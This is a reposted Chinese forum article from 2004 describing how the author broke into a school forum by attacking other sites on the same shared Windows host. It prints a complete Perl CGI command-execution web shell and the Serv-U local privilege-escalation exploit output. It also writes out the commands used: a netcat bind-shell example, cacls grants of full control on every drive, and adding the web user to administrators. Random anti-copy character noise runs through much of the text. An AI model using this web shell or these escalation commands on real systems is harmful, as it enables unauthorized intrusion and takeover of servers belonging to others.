找回密码
 立即注册
查看: 2725|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 9 r+ \: b( m2 G- @: f
本文作者:angel  f6 N; N0 f+ r' ]. s
文章性质:原创
/ O5 O$ h. H& [. a$ `* x发布日期:2004-11-09 ) P% e4 V# T( O( G$ r: Z2 ]
注意:9 A* n4 j. d- l) u  j& m
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, Z% f# \( f' o6 a
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。1 i) ]" f- ~1 ]" a. T" q, M

# x. `' o+ H% N% h- K  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
0 c. k. j8 E5 h
/ |  y) `+ S  ?5 Y  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 + z- G- ]4 b5 }

9 g, C: ^/ K" t7 ^+ w( h  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 / s" ]$ {0 B3 p& v. L

( v, h3 d: A+ ~% T) q  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " M' H8 |. Q, Q/ u, q, u) k: h

2 c) z5 T$ w3 l% Z  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
, |, F: C& r3 {. h' c1 K8 S  T+ L  T4 k3 B0 y, R$ _
  没有目的的跳转目录着……
" E. R) y4 M7 m0 Q6 Y9 J. l1 l# a
! Q0 q4 s: c4 F  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 3 a$ g; E% J/ |, r% h/ D) m- }

5 T- |+ O2 @2 X! N  F* q* ?. @, q  结束了吗?不,我试着 FTP 一下: , c# r8 k7 Z, P$ Z0 i. Y

+ v3 T$ D9 Q6 wMicrosoft Windows 2000 [Version 5.00.2195]4 Y) `# l( u$ Y
(C) 版权所有 1985-2000 Microsoft Corp. 0 |3 ~( o2 r( Y, ?  u) p
% ?% @; R( M5 ]" i" V
C:\Documents and Settings\Administrator>ftp www.school.com6 H* K  ]' f1 a! y/ u
Connected to www. school.com.
/ @- f+ H3 T' d! M220 Welcome to FTP Server... . P2 ~% Y; b" U; B& y! R0 l
User (www.bjtrq.com:(none)):
$ s5 s& ^8 q  _6 y" l! g( ~331 User name okay, need password. ( S# K+ j6 k) _6 c5 G( F
Password:
* Z" Z: S/ j' h530 Not logged in.
/ z5 \+ x6 `) j" U5 dLogin failed.
9 K1 @: l" r4 t  tftp> bye - H) H$ i/ p' a3 X) E. d/ M0 ?
221 Goodbye!
. R& Z( ?6 i/ N* G   B; i/ i0 E6 F. e1 N* m

) q* X7 X2 ]9 D3 k' R4 n  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ) T( Z  J0 v( Q/ g' L3 O/ a* M
* n3 ~# a3 ~' H1 n2 q! Y2 b
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 , `9 s" e7 D; S% i) u
5 f0 _6 g4 \! o' V2 {
Application Data
3 P. B2 D% p4 C! U1 `Documents
/ P, m/ f" }( H2 y" H9 i1 ~DRM
1 g/ T, x& `5 T2 bFavorites' _- V% K8 v$ ?4 P. `2 O: {
Templates
- Q# \& T( W2 F+ v/ e「开始」菜单% D/ d4 ~  f% V) Z# r
桌面: ]: f" ]$ D" T6 Z( [% \& ~
' G, S. H  H! ^! c0 }5 l' c
0 i, {! S( _4 N& W) C
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
7 e$ ^+ H" i% O+ w5 M+ U2 Z6 w0 M
' _8 W6 z. s9 V+ C+ _( T4 @9 ]ActiveState ActivePerl 5.8
: y% ]$ b' {7 q7 qAdministrative Tools4 d: `' [5 c8 ~' A- v1 ^
Deerfield.com
/ y8 c% b  Y3 I5 T0 k" [% O% c6 hDTemp0 E. i0 q5 p7 N
IPSentry) p) D7 w; n; A  ?# @$ w5 W
MBM 5
4 C' s, m# h( V  \/ b- ], kNetMeter
- v) t6 F1 |+ R5 J6 ^" w- j5 [( ?Network ICE
2 c8 [/ M: h: l& uPersits Software AspEmail
8 P$ C' Q, c% F: z. iPersits Software AspJpeg* j$ l5 F1 ]5 W
Serv-U FTP Server
' I) M' V) X, Y; T" GSymantec Client Security
/ u' W* r: O2 ~3 z8 oWindows 优化大师* y2 G! A5 k" _' f8 [
WinRAR+ c$ N4 D; y: x2 V1 o8 H8 g
启动
1 C6 w. W* Y  G$ l管理工具
% Z; V6 n1 N( |0 n. o附件9 [$ n1 d0 K3 `4 r& k! y" L3 V3 E

) ~3 M. Z: z- j
: Z; d5 \' \) m2 Q/ j/ v  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
# f; f" f& }0 Z6 k+ ]6 \& s" k0 ?" H
6 t+ r- c% l; `0 Z, r& K  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
) ~2 ^' T7 d% A4 e. ~8 A% u2 {' h0 u+ h5 r0 T0 z
User281=angel|1|0 # k" U1 F  p0 J# Z1 I& y. d2 G; S
' ?6 A1 a8 ]1 {: _* }& r
7 M/ f( D+ y& t' z# ]$ o; B' m
  然后加上 ( o. H1 I' Z+ f9 x
8 E' ^. k$ q8 @" _2 i
[USER=angel|1]
4 v0 Q9 X" O( m  s0 x. U  {- S% MPassword=ng98F85379EA68DBF97BAADCA99B69B805
, ?' C+ B. ]8 T  lHomeDir=D:\websites: P$ K; f$ S( ~
RelPaths=1, F: d  c, s8 G# w9 G* o/ r
TimeOut=600
1 w" ?0 n8 [2 a$ |  Y+ C$ B# gMaintenance=System
5 N4 f! x" e3 r6 c/ XAccess1=D:\websites|RWAMELCDP! y" E6 u1 T$ o) N! k  c4 @# q5 Z
SKEYValues=
% |0 k; o. @( r) Q0 S 8 y4 Q1 Q+ J" Q& T! l' ~5 D& H

( z( ?! Q) y& N9 [/ ^& M+ N$ K  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
+ p& s) `* V8 g' F' c8 t
; n- E- s; d; t" k9 s  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 , t5 x2 o4 |" t. F/ W0 ~

9 {& S9 ~) ?' c) L  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
; K4 l2 g1 F# Y. z2 }& m+ _+ m6 G# Q6 h; o" A+ U
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ( Q/ Q6 u- w6 f  ^. {7 _
4 {2 d6 V" N5 T7 Y! E) _' O  Z% `
#!/usr/bin/perl$ g- {7 m4 x/ F: E( h
binmode(STDOUT);
8 ?9 |# ^6 ~, L1 I% L7 l% \* }. fsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);9 J  s" W8 w8 D7 R/ ~' i
$_ = $ENV{QUERY_STRING};, M6 K1 P  |$ V( W% j4 L& t, E
s/%20/ /ig;& g. s: A7 j. O3 q9 U1 _% P6 s8 g( G
s/%2f/\//ig;
) U) `3 q! q; g8 s" X$execthis = $_;( x; E) m; I% z& l( i% ~  I, c
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);5 i5 {7 R% C6 U! ^. A
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
  i1 {6 q) q  ?. n' E- Vsystem($execthis);& d8 K: D: o, E
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);8 m9 Q7 n* ?' R# j0 x4 S  D2 ?
close(STDERR);
7 ]3 O; d3 s7 A  @( |/ \' T  dclose(STDOUT);
' B5 s4 ^* Y% k( O5 s0 kexit;5 H0 j& H# I  G! `  _6 `

3 f$ j  R, V+ {2 W* @6 E- a2 b. O5 a' V& h
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
) R1 P3 W$ L4 Y7 C, E
) f( |( C  h0 }  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: " N3 A/ j" w9 C

. [' y5 b% ?$ A  s3 fhttp://anyhost//cmd.pl?d:\user\bin\su.exe   @1 e- m- K0 I" V
9 g' Y- d. B( f
# f6 D6 S! Y" f, L3 z: t: G
  返回:
/ |+ u7 G* r% j% k/ a# p. K/ u1 @$ O
Serv-u >3.x Local Exploit by xiaolu % s9 n7 F# x7 v1 G) k# T4 h0 c" Y
6 R) F0 Z. d  B* w7 \
USAGE: serv-u.exe "command" 1 B9 Y5 z6 q! x% k4 s% Y7 r
  q( {: |/ Y& F/ R+ t# q2 n3 u; k: A
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"   X0 W% m" Q& i4 \
5 t  I- v. b  u! Q5 v
! o) Y$ S( l9 v
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 i5 _% b& z2 o4 Z4 F
1 J' v9 U3 p1 y) B! B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
2 N" [9 d- D$ s7 C: Z. v
1 W1 m7 \3 w4 c, }  Hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
2 |. O; Q& S( O# g% A
( G9 Y! b. _2 w$ c, m% Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
4 D6 M, i  {* K  w& @, x, ?- d% j0 Z$ x; c$ a9 c; L* D# v
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" / s3 @' C9 B/ l" o. ?, ]% e/ A

9 M8 A7 C* B' m% K: y2 f! P3 D. t5 G5 z. s$ B% ^
  返回下面的信息,就表示成功了!!! 4 g/ T2 {3 I7 `2 n

/ Y2 }$ ^) e8 I5 @+ f! _: sServ-u >3.x Local Exploit by xiaolu
$ _+ M8 `" ~; |; b; n/ y. K- C4 B2 D" @; Z) P" Z
<220 Serv-U FTP Server v5.2 for WinSock ready...
9 [1 q, g; W  ]* c0 B5 g/ u7 w4 z' m2 j( |& K5 K- T& ?
>USER LocalAdministrator
1 X+ v; H0 g$ q$ V- }$ Z% s7 ]2 A1 a# j! V5 l2 ], ]. k
<331 User name okay, need password.
8 @: K; o3 ^4 w" r9 v8 p  W/ _) h4 Q: Y9 Z# W( X- ^- d) L
******************************************************
4 O7 x  @4 D4 F% a; T  Y' B1 L+ S9 g2 {" W* w' l" |
>PASS #l@$ak#.lk;0@P
" z" U( V: O2 P2 V4 _  p
( \( K8 ^) P# h<230 User logged in, proceed.
: \8 S- H7 }) X3 k" e8 O+ Z' k' K- T
9 [" @- P6 n5 }7 \# d+ a0 ^******************************************************
6 Z! h" U: `) H: s! B4 W0 g3 w7 i- Q- G1 K( I9 X1 u' T; S
>SITE MAINTENANCE
" ?! d) q- t. O& ]5 ?2 x% y
) p9 B4 C- `/ w' w9 a% x8 {****************************************************** ! L4 v1 L& N, R* T! T% W

6 h/ V# Y, E4 u2 O; H! _' g5 Y4 _1 {[+] Creating New Domain...
2 t$ p! ]1 p, X* v
, j/ D! Z5 Q  G5 [' U; x; G<200-DomainID=2 2 |, r2 v1 F" o
, [+ ^; f4 K  H3 e* t
<220 Domain settings saved
- m% C0 i5 t- Y8 p- L0 [/ {" X. n# |( M0 k: H
****************************************************** / {- z2 J% l: C7 a  x; N' \9 N
+ x$ R' c- G0 J% n! G4 t
[+] Domain xl:2 Created
4 t& W$ ?2 i( Z# r* P. r' n! l" L2 }) B4 u
[+] Creating Evil User
) z) b: v8 p. C: U5 Q" M! G' _
<200-User=xl
3 c2 `$ b3 |1 v. d3 |2 t. D6 \3 [7 u8 b! R. x! c: y
200 User settings saved
* ]% R! g- x% _& \: x
" U& r) V* W0 ?6 y****************************************************** " a( t  D0 p: U* `

7 A) n5 L2 E7 u" e0 `[+] Now Exploiting... 3 h8 _9 |0 S! F, _; R

2 f, t% i* r2 p% z- }. S0 b>USER xl
% V7 R, I. M' r7 E3 d. e& t! S- r( \4 b4 K0 _
<331 User name okay, need password.
+ a9 U1 |$ L, W/ y+ [6 k' M
! \' _. n0 }9 I/ T6 Y7 F******************************************************   N& v4 ]2 y' j# v1 L* Q1 m
0 u( q& y/ e2 U( i& n0 y
>PASS 111111
( H: q+ t' p1 Z! o+ T' I" T% Y$ |8 L4 w- C0 D/ k
<230 User logged in, proceed.
# Q) t4 w4 G5 o
% ~7 f- A$ f) ~$ j$ s4 Q****************************************************** 1 H/ a2 y! ~+ o' X
+ d5 E" {- B9 G4 M! m+ G/ D
[+] Now Executing: cacls.exe c: /E /T /G everyone:F / m5 o2 X7 N- w4 j( K/ {: _( u. w5 Z
9 A, V7 c5 v7 u
<220 Domain deleted
( Z4 w& a' A6 i& \: d- N: a
8 c4 C  }8 S1 E( n! W******************************************************
, ]( u' ]0 H3 F4 |, \3 G7 {
$ [; S) A8 i3 R2 T( k0 h( X
4 j5 w0 I; g+ g# i& l  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
* Z, X) U" k5 Z. k) G
* ~% l" ]. ]" P. S: G% S5 Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" * t) T; I, l& W  j6 d
, Q3 l# o: ~0 [5 e4 m( a2 j% {

: d" d! e2 C- `9 W0 w1 s) S3 r  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 P' `. a1 q5 r6 \6 J3 N

) {/ R8 q- w3 E& h. [7 d6 x  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。, F* G+ B0 w) ^' k$ b8 W% L0 m

% Z7 U7 H8 Y0 \" c- B  $ A5 ]6 j" @! S/ \3 S6 a' F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表